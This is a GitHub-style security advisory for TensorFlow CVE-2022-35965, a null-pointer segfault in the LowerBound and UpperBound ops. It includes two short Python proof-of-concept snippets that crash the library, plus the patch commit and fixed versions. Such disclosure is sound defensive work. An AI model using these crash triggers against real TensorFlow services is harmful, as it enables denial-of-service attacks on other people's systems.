TensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`

TensorFlow

CVE-2022-35965 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

out_type = tf.int32

sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)

values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)

tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

`

```python

import tensorflow as tf

out_type = tf.int64

sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)

values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)

tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

`

Patches

We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
